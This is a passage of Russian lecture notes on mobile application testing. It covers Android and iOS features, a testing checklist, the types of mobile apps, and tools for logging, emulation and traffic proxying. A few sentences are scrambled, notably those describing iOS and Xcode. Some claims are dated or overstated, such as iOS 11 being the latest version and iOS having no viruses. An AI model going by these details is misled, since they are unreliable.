работе с API: • Комбинация и выбор параметров. • Отсутствие графического интерфейса. • Валидация и верификация выходных данных в разных системах. • Обязательная проверка обработки исключений. • Тестировщикам необходимы знания в программировании. Тема 23. Тестирование мобильных приложений Мобильное тестирование - это постоянный процесс тестирования функциональности мобильных приложений и удобства работы с ними. Тестирование мобильных приложений предусматривает наличие специальных инструментов и методик для тестирования. Разнообразие мобильных технологий, платформ и устройств вызывает дополнительные трудности при разработке и тестировании мобильных приложений. Android – это бесплатная операционная система, разработанная для мобильных телефонов, смартфонов, коммуникаторов на базе ОС Linux. Поддерживается альянсом Open Handset Alliance (OHA). Операционная система позволяет разрабатывать Javaприложения, благодаря которым можно управлять устройством. Используется код ARM, под который можно писать приложения на С++ и др. Формат apk (название файла.apk) имеют все установочные файлы приложений для ОС Андроид. Функциональные составляющие Android: • Application framework – набор компонентов для различных приложений. • Dalvik virtual machine – виртуальная машина, в которой работают приложения. Главные характеристики: • Встроенный браузер работает на основе WebKit с открытым кодом. • Оптимизированная графика с 2D библиотекой, 3D графика – OpenGL ES 1.0. • Возможна поддержка hardware акселератора. • Поддержка медиа форматов: звук, видео, картинки (MPEG4, H.264, MP3, AAC, AMR, JPG, PNG, GIF). • GSM стандарт, Bluetooth, EDGE, 3G и WiFi, камера, GPS, компас и акселерометр. iOS — мобильная операционная система смартфонов для электронных планшетов, носимых проигрывателей, Apple iPhone, iPod touch и некоторых других устройств, разрабатываемая и выпускаемая американской компанией Apple TV автомобильных. Операционная система характерна такими особенностями: 1. Быстрота работы, интерфейс системы практически не тормози. 2. Система достаточно быстро загружается. 3. Интерфейс достаточно красочен и понятен. 4. Система удаления программ удобна и позволяет удалить программы в 2 клика. 5. Можно купить любую программу. Каталог программ в AppStore огромен. 6. Достаточно хорошие обновления. Естественно, в каждой новой версии есть определенные ошибки, однако с каждой новой версией система становится все удобнее и функциональнее. Ipa файл - файл программы для установки на iOS. Система имеет встроенный браузер Safari. Последняя версия ОС — iOS 11. Новая версия выходит раз в году. Недостатки системы Apple iOS 1. Как таковой многозадачности нормальной нет — на фоне работают музыка, радио, закачивание и скачивание. Но не во всех приложениях. Когда приложение сворачивается, то оно работает некоторое время, а потом останавливается. 2. Операционная система является закрытой. Нельзя посмотреть список файлов операционной системы и использовать устройство как флешку. Это является одновременно и достоинством. iOS — самая защищенная система в мире. 3. Дороговизна телефонов и планшетов на данной операционной системе. Достоинства: 1. Самый крупный магазин приложений с достаточно качественными приложениями. 2. Быстрота работы системы (по сравнению с другими). 3. Хорошее качество телефонов и планшетов компании Apple. 4. Быстрая реакция на ошибки и отсутствие вирусов. 5. Красота интерфейса и графики. 6. Постоянное обновление системы (раз в год,) в т.ч. и для старых устройств. Моменты, которые должны быть протестированы 1. Размер экрана и touch-интерфейс: 2. Все элементы должны быть такого размера, чтобы пользователь мог однозначно попасть по ним. 3. Отсутствие пустых экранов в приложении – пользователь не должен оказываться в ситуации, в которой не очевидно, что сейчас происходит и что делать. 4. Следует проверять многократное быстрое нажатие на кнопку – часто при этом может случиться падение приложения. Также следует проверять мультитач – нажатие на несколько кнопок одновременно. 5. Следует проверять наличие или отсутствие «нативных» жестов (pinch-to-zoom, doubletap) – если, например, поддерживается зум части приложения, то должен использоваться жест по умолчанию. А если нет необходимости выделять картинку, то по даблтапу она не должна выделяться. 2. Ресурсы устройства: • Утечки памяти - проявляется на окнах с большим количеством информации (длинные списки как пример), во время задач с длительным workflow (когда пользователь долго не выходит из приложения), при некорректно работающем кэшировании изображений. • Обработка ситуаций нехватки памяти для функционирования ОС, когда приложение активно или работает в фоне. • Недостаток места для установки или работы приложения. • Отсутствие в некоторых устройствах поддерживаемых приложением функций (3G, SD-карта). • Установка или перенос приложения на карту SD. 3. Различные разрешения экрана и версии ОС: • Ретина и обычные экраны. На ретина-экранах элементы интерфейса и текст отображаются мельче. Картинки для ретина-экрана могут попасть в неретинаверсию и тогда будут слишком большими. • Адаптация приложения к портретной и альбомной ориентациям устройства. • Версии ОС. Приложение не должно устанавливаться на неподдерживаемые устройства. Обязательна проверка на всех доступных из поддерживаемых девайсов. • Поддержка необходимых медиа-файлов данной моделью и ОС, потому что отдельные разработчики могут урезать поддержку работы с некоторыми форматами. • Соответствие используемых в приложении view их смысловому назначению и концепциям платформы. Проектные решения, которые имеют смысл для одной платформы, могут выглядеть и быть неуместными в контексте другой платформы. 4. Реакция приложения на внешние прерывания: • Входящие и исходящие SMS, MMS, звонки, оповещения других приложений. • Выключение устройства, изъятие аккумулятора, разрядка устройства. • Переход в режим ожидания (в том числе и с защитой паролем). Смена ориентации устройства в режиме ожидания. • Отключение и подключение провода. • Отключение и включение сети, Bluetooth, авиарежима, GPS. • Потеря связи с сервером или прокси (подключение есть, но пакеты не доходят). • Отключение и подключение SD-карты, дополнительных устройств вроде физической клавиатуры или гарнитуры. • Зарядка устройства, работа с физической клавиатурой. 5. Платный контент внутри приложения: • Соответствие цены и содержимого, заявленного в приложении. • Восстановление покупки (обновление приложения). 6. Интернационализация (проверять и в портретном, и в ландшафтном режиме!): • Проверка корректности перевода. • Проверка того, что все надписи входят в соответствующие формы, кнопки и т.п. • Проверка форматов дат, разделителей в числах, специфических особенностей локализации (вроде пробела перед знаком вопроса во французской, верхних индексов “o” и “a”, в порядковых числительных в испанской и других нетривиальных моментах). 7. Обновления: • Убедиться, что поддерживаются те же версии ОС, что и предыдущая версия (если новая версия приложения использует новые возможности ОС, то для старых поддерживаемых версий ОС необходимо создание урезанной версии приложения). • Проверка адекватного обновления (сохраняются все данные пользователя и т. п.). 8. Постоянная обратная связь с пользователем: • У всех нажимаемых элементов должно быть нажатое состояние (отклик на действие). В Android-приложениях у элементов может быть ещё одно состояние – focused. • Реакция кнопок на нажатие. Скорость отклика элементов должна быть достаточно высокой. Желательно использовать для проверки этого пункта самые слабые устройства среди поддерживаемых. • Сообщения при загрузке контента или прогресс-бар. • Сообщения при ошибке доступа к сети, GPS. • Наличие понятных сообщений при попытке удалить важную информацию. • Наличие экрана или сообщения при окончании процесса или игры. • Наличие и синхронность звуков или вибрации с уведомлениями и другими событиями на экране. 9. Жесты в мобильных девайсах: Типы мобильных приложений Существует три основных типа мобильных приложений: мобильные веб-приложения, нативные приложения и гибридные приложения. Мобильным веб-приложением является веб-сайт, который открывается в гаджете (смартфоне или планшете) с помощью мобильного браузера. Достоинства мобильных веб-приложений: • Простая разработка. • Легкий доступ. • Простое обновление. • Мобильные веб-приложения не требует установки. Недостатки мобильных веб-приложений: • Нет поддержки автономных функций. • Ограниченная функциональность в сравнении с гибридными и нативными приложениями (нет доступа к файловой системе и локальным ресурсам) • Проблемы с перераспределением: Google Play и App Store не поддерживают перераспределение мобильных веб-приложений. Нативное приложение - это приложение, разработанное специально для одной платформы (Android, iOS, BlackBerry). Достоинства нативных приложений: • Нативное приложение работает в автономном режиме. • Оно может использовать все функции своего устройства. • Продвинутый пользовательский интерфейс. • Push-уведомления для удобства пользователей. Недостатки нативных приложений: • Разработка нативных приложений обходится дороже в сравнении с мобильными веб-приложениями. • Требуется больших затрат на техническое обслуживание. Гибридное приложение - это сочетание нативного и мобильного веб-приложений. Его можно определить как отображение содержимого мобильного сайта в формате приложения. Достоинства гибридных приложений: • Более рентабельно в сравнении с нативным приложением. • Простое распространение. • Встроенный браузер. • Особенности устройства. Недостатки гибридных приложений: • Работает не так быстро, как нативное приложение. • Графика менее адаптирована к ОС в сравнении с нативным приложением. Тема 24. Программное обеспечение, применяемое при тестировании мобильных приложений Установка приложений на девайс 1.Android: • Перенесение .apk на sdcard. • Установка с PlayMarket. • Использование AirDroid. • Android Debug Bridge. ADB (Android Debug Bridge, отладочный мост Андроид) – устанавливает связь между устройством и компьютером и позволяет прямо на компьютере выполнять различные манипуляции с системой Android. AirDroid – это приложение только для ОС Android, которое позволит Вам подключить Ваше устройство к компьютеру по беспроводной сети. Она работает почти так же, как если бы Вы подключили Ваше устройство к компьютеру с помощью USB-кабеля, к тому же, AirDroid располагает несколькими прекрасными функциями. Среди них, например, удобная передача файлов и отправка SMS-сообщений. 2.iOS: • Testflight. • iTunes. • Xcode. • iTools. Test Flight — это сервис, упрощающий тестирование приложений для iOS-устройств путем облегчения процесса сбора кодов тестовых устройств (UDID-ов), а также путем более легкого распространения подписанных для тестеров билдов Вашего приложения. Плюс ко всему, можно видеть, сколько раз приложение запускали, сколько раз оно падало, а также получать некоторую отладочную информацию. iTunes — медиаплеер для организации и воспроизведения музыки и фильмов, разработанный компанией Apple и бесплатно распространяемый для платформ macOS и Windows. iTunes предоставляет доступ к фирменному онлайн-магазину iTunesStore, позволяя покупать музыку, фильмы, приложения. Это программа для синхронизации устройств на базе ОС iOS. iTools – программа для снятия логов, установки билдов и снятия видео/скриншотов на базе ОС iOS. Это бесплатная русская альтернатива iTunes для работы с iPhone, iPad и iPod на компьютерах под Windows и iOS. Xcode — интегрированная среда разработки программного обеспечения (IDE) macOS iOS для платформ watchOS, tvOS, Apple, разработанная корпорацией. Снятие логов, скриншотов Крэш-лог (Crash Log) – файл, в котором хранится вся информация по ошибке неработоспособности/экстренного завершения работы программы. Лог-файл (журнал событий, Log) – это файлы, содержащие системную информацию работы сервера или компьютера, в которые вносятся определенные действия пользователя или программы. Снятие логов в Android: • Использовать ddms.bat (находится в папке tools - Android sdk). • Catlog. • Screens - Power + Громкость. Снятие логов с Android устройств с помощью LogCat: 1. Необходимо установить JDK и скачать Android SDK. 2. Включение отладки по USB на устройстве (в “About device” тапать на номер билда до тех пор, пока не включится режим разработчика). 3. Отметить чекбокс “USB debugging” в “Developer options”. 4. Запустить файл “monitor.bat”, который находится в папке с инструментами (c:\adt\sdk\tools\monitor.bat). 5. В открывшемся окне выбрать устройство, с которого будет производиться логирование. 6. Выполнить действия, которые должны быть залогированы, выбрать нужный участок и сохранить лог в файл. Снятие логов в iOS: • iTunes. • Xcode. • QuickTime Player. • Organizer - Devices ~ /Library/Logs/CrashReporter/MobileDevice. • Screens - Home+Power. Снятие логов посредством iTunes: нужно подключить устройство к компьютеру, запустить iTunes, выбрать Ваше устройство слева и нажать синхронизировать. В результате, все логи с устройства будут записаны в папку вида (Windows 7) c:\Users\[ИмяПользователя]\AppData\Roaming\Apple Computer\Logs\CrashReporte. **Xcode** Для просмотра краш-репортов нужно подключить iOS-устройство к компьютеру, нажать кнопку "Доверять" на мобильном устройстве. Запустить Xcode и перейти в Window → Devices and Simulators. Эмуляторы и симуляторы Эмулятор - это программа, которая копирует (эмулирует) функции мобильного устройства (или нескольких устройств) на ПК. При симуляции создается абстрактная модель имитируемой мобильной операционной системы. Android: • Android Virtual Device Manager. • Genymotion. • BrowserStack. iOS: • Xcode. • BrowserStack. Android Virtual Device Manager (AVD Manager) AVD Manager – это инструмент, который является частью Android Studio и предназначен для настройки, проверки и обновления SDK компонентов в среде разработки приложений под операционную систему Android. 1. Необходимо установить JDK и скачать Android SDK. 2. Cоздать Android virtual device (AVD) для тестируемого устройства. В менеджере AVD есть список готовых устройств в “Device Definitions”. Для начала, выберите одно из них и нажмите “Create AVD”. 3. Выбрать любой CPU и поставить “No skin“ и “Use host GPU”. Теперь можно запускать виртуальное устройство и использовать браузер Android для тестирования. iOS: • Xcode. • BrowserStack. iOS Simulator: 1. Установить Xcode. 2. Сразу после его установки необходимо открыть в Finder папку «Программы» и найти в списке Xcode. Нажать на программу правой кнопкой мыши и выбрать «Показать содержимое пакета». 3. Идти по пути: Contents/Developer/Applications и переносим иконку программы Simulator в Dock. 4. Как только иконка программы Simulator окажется в Dock, можно производить запуск эмулятора iOS. 5. Спустя несколько секунд после запуска на рабочем столе компьютера появится окно с операционной системой iOS. Произвести выбор устройства для эмуляции можно в разделе Hardware. Программы для манипуляции с сетями - Network Link Conditioner Удобный и крайне простой инструмент для установки требуемого соединения. Имитация плохой связи на реальном девайсе + потеря части пакетов данных. Сервисы для проксирования данных - Fiddler или Charles. Программы необходимы для того, чтобы посмотреть за отправляемыми/получаемыми данными приложения через сеть. Каждый из них будет выполнять функцию man-in-themiddle, что позволит Вам просмотреть все содержимое пакетов данных.

Тестирование ИС Лекции

Добавить этот документ в коллекции

Добавить этот документ в сохраненные

Предложите, как улучшить StudyLib